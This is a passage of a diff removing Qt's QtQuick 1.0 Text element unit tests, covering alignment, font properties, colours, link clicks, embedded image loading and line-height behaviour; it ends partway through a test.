Font-specific, but not likely platform-specific, so only test on one platform - QFont fn; - fn.setRawName("-misc-fixed-medium-r-*-*-8-*-*-*-*-*-*-*"); - QApplication::setFont(fn); -#endif - - QDeclarativeView *canvas = createView(SRCDIR "/data/alignments.qml"); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QObject *ob = canvas->rootObject(); - QVERIFY(ob != 0); - ob->setProperty("horizontalAlignment",hAlign); - ob->setProperty("verticalAlignment",vAlign); - QTRY_COMPARE(ob->property("running").toBool(),false); - QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32); - actual.fill(qRgb(255,255,255)); - QPainter p(&actual); - canvas->render(&p); - - QImage expect(expectfile); - -#ifdef Q_WS_X11 - // Font-specific, but not likely platform-specific, so only test on one platform - if (QApplicationPrivate::graphics_system_name == "raster" || QApplicationPrivate::graphics_system_name == "") { - QCOMPARE(actual,expect); - } -#endif - - delete canvas; -} - -//the alignment tests may be trivial o.oa -void tst_qdeclarativetext::horizontalAlignment() -{ - //test one align each, and then test if two align fails. - - for (int i = 0; i < standard.size(); i++) - { - for (int j=0; j < horizontalAlignmentmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nText { horizontalAlignment: \"" + horizontalAlignmentmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE((int)textObject->hAlign(), (int)horizontalAlignmentments.at(j)); - - delete textObject; - } - } - - for (int i = 0; i < richText.size(); i++) - { - for (int j=0; j < horizontalAlignmentmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nText { horizontalAlignment: \"" + horizontalAlignmentmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE((int)textObject->hAlign(), (int)horizontalAlignmentments.at(j)); - - delete textObject; - } - } - -} - -void tst_qdeclarativetext::horizontalAlignment_RightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml"); - QDeclarative1Text *text = canvas->rootObject()->findChild("text"); - QVERIFY(text != 0); - canvas->show(); - - QDeclarative1TextPrivate *textPrivate = QDeclarative1TextPrivate::get(text); - QVERIFY(textPrivate != 0); - - // implicit alignment should follow the reading direction of RTL text - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2); - - // explicitly left aligned text - text->setHAlign(QDeclarative1Text::AlignLeft); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignLeft); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2); - - // explicitly right aligned text - text->setHAlign(QDeclarative1Text::AlignRight); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2); - - // change to rich text - QString textString = text->text(); - text->setText(QString("") + textString + QString("")); - text->setTextFormat(QDeclarative1Text::RichText); - text->resetHAlign(); - - // implicitly aligned rich text should follow the reading direction of text - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignLeft); - - // explicitly left aligned rich text - text->setHAlign(QDeclarative1Text::AlignLeft); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignLeft); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignRight); - - // explicitly right aligned rich text - text->setHAlign(QDeclarative1Text::AlignRight); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignLeft); - - text->setText(textString); - text->setTextFormat(QDeclarative1Text::PlainText); - - // explicitly center aligned - text->setHAlign(QDeclarative1Text::AlignHCenter); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignHCenter); - QCOMPARE(text->effectiveHAlign(), text->hAlign()); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().right() > canvas->width()/2); - - // reseted alignment should go back to following the text reading direction - text->resetHAlign(); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2); - - // mirror the text item - QDeclarativeItemPrivate::get(text)->setLayoutMirror(true); - - // mirrored implicit alignment should continue to follow the reading direction of the text - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), QDeclarative1Text::AlignRight); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2); - - // mirrored explicitly right aligned behaves as left aligned - text->setHAlign(QDeclarative1Text::AlignRight); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); - QCOMPARE(text->effectiveHAlign(), QDeclarative1Text::AlignLeft); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2); - - // mirrored explicitly left aligned behaves as right aligned - text->setHAlign(QDeclarative1Text::AlignLeft); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignLeft); - QCOMPARE(text->effectiveHAlign(), QDeclarative1Text::AlignRight); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2); - - // disable mirroring - QDeclarativeItemPrivate::get(text)->setLayoutMirror(false); - text->resetHAlign(); - - // English text should be implicitly left aligned - text->setText("Hello world!"); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignLeft); - QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2); - -#ifndef Q_OS_MAC // QTBUG-18040 - // empty text with implicit alignment follows the system locale-based - // keyboard input direction from QInputpanel::inputDirection - text->setText(""); - QCOMPARE(text->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1Text::AlignLeft : QDeclarative1Text::AlignRight); - text->setHAlign(QDeclarative1Text::AlignRight); - QCOMPARE(text->hAlign(), QDeclarative1Text::AlignRight); -#endif - - delete canvas; - -#ifndef Q_OS_MAC // QTBUG-18040 - // alignment of Text with no text set to it - QString componentStr = "import QtQuick 1.0\nText {}"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1Text::AlignLeft : QDeclarative1Text::AlignRight); - delete textObject; -#endif -} - -void tst_qdeclarativetext::verticalAlignment() -{ - //test one align each, and then test if two align fails. - - for (int i = 0; i < standard.size(); i++) - { - for (int j=0; j < verticalAlignmentmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nText { verticalAlignment: \"" + verticalAlignmentmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->vAlign(), (int)verticalAlignmentments.at(j)); - - delete textObject; - } - } - - for (int i = 0; i < richText.size(); i++) - { - for (int j=0; j < verticalAlignmentmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nText { verticalAlignment: \"" + verticalAlignmentmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->vAlign(), (int)verticalAlignmentments.at(j)); - - delete textObject; - } - } - - //confirm that bounding rect is correctly positioned. - QString componentStr = "import QtQuick 1.0\nText { height: 80; text: \"Hello\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QVERIFY(textObject != 0); - QRectF br = textObject->boundingRect(); - QVERIFY(br.y() == 0); - - textObject->setVAlign(QDeclarative1Text::AlignVCenter); - br = textObject->boundingRect(); - QCOMPARE(qFloor(br.y()), qFloor((80.0 - br.height())/2)); - - textObject->setVAlign(QDeclarative1Text::AlignBottom); - br = textObject->boundingRect(); - QCOMPARE(qFloor(br.y()), qFloor(80.0 - br.height())); - - delete textObject; -} - -void tst_qdeclarativetext::font() -{ - //test size, then bold, then italic, then family - { - QString componentStr = "import QtQuick 1.0\nText { font.pointSize: 40; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().pointSize(), 40); - QCOMPARE(textObject->font().bold(), false); - QCOMPARE(textObject->font().italic(), false); - - delete textObject; - } - - { - QString componentStr = "import QtQuick 1.0\nText { font.pixelSize: 40; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().pixelSize(), 40); - QCOMPARE(textObject->font().bold(), false); - QCOMPARE(textObject->font().italic(), false); - - delete textObject; - } - - { - QString componentStr = "import QtQuick 1.0\nText { font.bold: true; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().bold(), true); - QCOMPARE(textObject->font().italic(), false); - - delete textObject; - } - - { - QString componentStr = "import QtQuick 1.0\nText { font.italic: true; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().italic(), true); - QCOMPARE(textObject->font().bold(), false); - - delete textObject; - } - - { - QString componentStr = "import QtQuick 1.0\nText { font.family: \"Helvetica\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().family(), QString("Helvetica")); - QCOMPARE(textObject->font().bold(), false); - QCOMPARE(textObject->font().italic(), false); - - delete textObject; - } - - { - QString componentStr = "import QtQuick 1.0\nText { font.family: \"\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->font().family(), QString("")); - - delete textObject; - } -} - -void tst_qdeclarativetext::style() -{ - //test style - for (int i = 0; i < styles.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { style: \"" + styleStrings.at(i) + "\"; styleColor: \"white\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE((int)textObject->style(), (int)styles.at(i)); - QCOMPARE(textObject->styleColor(), QColor("white")); - - delete textObject; - } - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QRectF brPre = textObject->boundingRect(); - textObject->setStyle(QDeclarative1Text::Outline); - QRectF brPost = textObject->boundingRect(); - - QVERIFY(brPre.width() < brPost.width()); - QVERIFY(brPre.height() < brPost.height()); - - delete textObject; -} - -void tst_qdeclarativetext::color() -{ - //test style - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->color(), QColor(colorStrings.at(i))); - QCOMPARE(textObject->styleColor(), QColor()); - - delete textObject; - } - - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { styleColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->styleColor(), QColor(colorStrings.at(i))); - // default color to black? - QCOMPARE(textObject->color(), QColor("black")); - - delete textObject; - } - - for (int i = 0; i < colorStrings.size(); i++) - { - for (int j = 0; j < colorStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStrings.at(i) + "\"; styleColor: \"" + colorStrings.at(j) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->color(), QColor(colorStrings.at(i))); - QCOMPARE(textObject->styleColor(), QColor(colorStrings.at(j))); - - delete textObject; - } - } - { - QString colorStr = "#AA001234"; - QColor testColor("#001234"); - testColor.setAlpha(170); - - QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStr + "\"; text: \"Hello World\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->color(), testColor); - - delete textObject; - } -} - -void tst_qdeclarativetext::smooth() -{ - for (int i = 0; i < standard.size(); i++) - { - { - QString componentStr = "import QtQuick 1.0\nText { smooth: true; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->smooth(), true); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->smooth(), false); - - delete textObject; - } - } - for (int i = 0; i < richText.size(); i++) - { - { - QString componentStr = "import QtQuick 1.0\nText { smooth: true; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->smooth(), true); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->smooth(), false); - - delete textObject; - } - } -} - -void tst_qdeclarativetext::weight() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().weight(), (int)QDeclarativeFontValueType::Normal); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { font.weight: \"Bold\"; text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().weight(), (int)QDeclarativeFontValueType::Bold); - - delete textObject; - } -} - -void tst_qdeclarativetext::underline() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().underline(), false); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { font.underline: true; text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().underline(), true); - - delete textObject; - } -} - -void tst_qdeclarativetext::overline() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().overline(), false); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { font.overline: true; text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().overline(), true); - - delete textObject; - } -} - -void tst_qdeclarativetext::strikeout() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().strikeOut(), false); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { font.strikeout: true; text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().strikeOut(), true); - - delete textObject; - } -} - -void tst_qdeclarativetext::capitalization() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::MixedCase); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"AllUppercase\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::AllUppercase); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"AllLowercase\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::AllLowercase); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"SmallCaps\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::SmallCaps); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"Capitalize\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::Capitalize); - - delete textObject; - } -} - -void tst_qdeclarativetext::letterSpacing() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().letterSpacing(), 0.0); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.letterSpacing: -2 }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().letterSpacing(), -2.); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.letterSpacing: 3 }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().letterSpacing(), 3.); - - delete textObject; - } -} - -void tst_qdeclarativetext::wordSpacing() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().wordSpacing(), 0.0); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.wordSpacing: -50 }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().wordSpacing(), -50.); - - delete textObject; - } - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.wordSpacing: 200 }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->font().wordSpacing(), 200.); - - delete textObject; - } -} - -void tst_qdeclarativetext::QTBUG_12291() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/rotated.qml"); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QObject *ob = canvas->rootObject(); - QVERIFY(ob != 0); - - QDeclarative1Text *text = ob->findChild("text"); - QVERIFY(text); - QVERIFY(text->boundingRect().isValid()); - - delete canvas; -} - -class EventSender : public QGraphicsItem -{ -public: - void sendEvent(QEvent *event) { sceneEvent(event); } -}; - -class LinkTest : public QObject -{ - Q_OBJECT -public: - LinkTest() {} - - QString link; - -public slots: - void linkClicked(QString l) { link = l; } -}; - -void tst_qdeclarativetext::clickLink() -{ - { - QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - - LinkTest test; - QObject::connect(textObject, SIGNAL(linkActivated(QString)), &test, SLOT(linkClicked(QString))); - - { - QGraphicsSceneMouseEvent me(QEvent::GraphicsSceneMousePress); - me.setPos(QPointF(textObject->x()/2, textObject->y()/2)); - me.setButton(Qt::LeftButton); - static_cast(static_cast(textObject))->sendEvent(&me); - } - - { - QGraphicsSceneMouseEvent me(QEvent::GraphicsSceneMouseRelease); - me.setPos(QPointF(textObject->x()/2, textObject->y()/2)); - me.setButton(Qt::LeftButton); - static_cast(static_cast(textObject))->sendEvent(&me); - } - - QCOMPARE(test.link, QLatin1String("http://qt.nokia.com")); - - delete textObject; - } -} - -void tst_qdeclarativetext::embeddedImages_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("error"); - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocal.qml") << ""; - QTest::newRow("local-error") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocalError.qml") - << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocalError.qml").toString()+":3:1: QML Text: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/http/notexists.png").toString(); - QTest::newRow("remote") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemote.qml") << ""; - QTest::newRow("remote-error") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemoteError.qml") - << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemoteError.qml").toString()+":3:1: QML Text: Error downloading http://127.0.0.1:14453/notexists.png - server replied: Not found"; -} - -void tst_qdeclarativetext::embeddedImages() -{ - // Tests QTBUG-9900 - - QFETCH(QUrl, qmlfile); - QFETCH(QString, error); - - TestHTTPServer server(14453); - server.serveDirectory(SRCDIR "/data/http"); - - if (!error.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, error.toLatin1()); - - QDeclarativeComponent textComponent(&engine, qmlfile); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - - QTRY_COMPARE(textObject->resourcesLoading(), 0); - - QPixmap pm(SRCDIR "/data/http/exists.png"); - if (error.isEmpty()) { - QCOMPARE(textObject->width(), double(pm.width())); - QCOMPARE(textObject->height(), double(pm.height())); - } else { - QVERIFY(16 != pm.width()); // check test is effective - QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon - QCOMPARE(textObject->height(), 16.0); - } - - delete textObject; -} - -void tst_qdeclarativetext::lineCount() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml"); - - QDeclarative1Text *myText = canvas->rootObject()->findChild("myText"); - QVERIFY(myText != 0); - - QVERIFY(myText->lineCount() > 1); - QVERIFY(!myText->truncated()); - QCOMPARE(myText->maximumLineCount(), INT_MAX); - - myText->setMaximumLineCount(2); - QCOMPARE(myText->lineCount(), 2); - QCOMPARE(myText->truncated(), true); - QCOMPARE(myText->maximumLineCount(), 2); - - myText->resetMaximumLineCount(); - QCOMPARE(myText->maximumLineCount(), INT_MAX); - QCOMPARE(myText->truncated(), false); - - myText->setElideMode(QDeclarative1Text::ElideRight); - myText->setMaximumLineCount(2); - QCOMPARE(myText->lineCount(), 2); - QCOMPARE(myText->truncated(), true); - QCOMPARE(myText->maximumLineCount(), 2); - - delete canvas; -} - -void tst_qdeclarativetext::lineHeight() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml"); - - QDeclarative1Text *myText = canvas->rootObject()->findChild("myText"); - QVERIFY(myText != 0); - - QVERIFY(myText->lineHeight() == 1); - QVERIFY(myText->lineHeightMode() == QDeclarative1Text::ProportionalHeight); - - qreal h = myText->height(); - myText->setLineHeight(1.5); - QEXPECT_FAIL("", "QTBUG-21015 fails", Continue); - QVERIFY(myText->height() == h * 1.5); - - myText->setLineHeightMode(QDeclarative1Text::FixedHeight); - myText->setLineHeight(20); - QCOMPARE(myText->height(), myText->lineCount() * 20.0); - - myText->setText("Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."); - myText->setLineHeightMode(QDeclarative1Text::ProportionalHeight); - myText->setLineHeight(1.0); - - qreal h2 = myText->height(); - myText->setLineHeight(2.0); - QEXPECT_FAIL("", "QTBUG-17325", Continue); - QVERIFY(myText->height() == h2 * 2.0); - - myText->setLineHeightMode(QDeclarative1Text::FixedHeight); - myText->setLineHeight(10); - QEXPECT_FAIL("", "QTBUG-17325", Continue); - QCOMPARE(myText->height(), myText->lineCount() * 10.0); - - delete canvas; -} - -void tst_qdeclarativetext::implicitSize_data() -{ - QTest::addColumn("text"); - QTest::addColumn("wrap"); - QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap"; - QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap"; - QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap"; - QTest::newRow("richtext_wrap") << "The quick red fox 